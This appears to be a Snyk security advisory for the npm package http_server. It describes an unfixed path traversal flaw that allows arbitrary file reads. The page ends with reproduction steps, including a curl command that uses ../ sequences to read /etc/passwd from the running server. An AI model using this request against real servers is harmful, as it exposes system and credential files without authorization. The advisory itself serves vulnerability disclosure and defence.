Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for http_server
.
http_server is a http server module
Affected versions of this package are vulnerable to Arbitrary File Read. It is a path traversal attack (also known as directory traversal) that aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.
npm install -g http_server
~/Desktop
directory :root@kali:~/Desktop# http_server
server running is :http://localhost:8888
etc/passwd
file:
$ curl --path-as-is --url 'http://localhost:8888/../../../../../etc/passwd'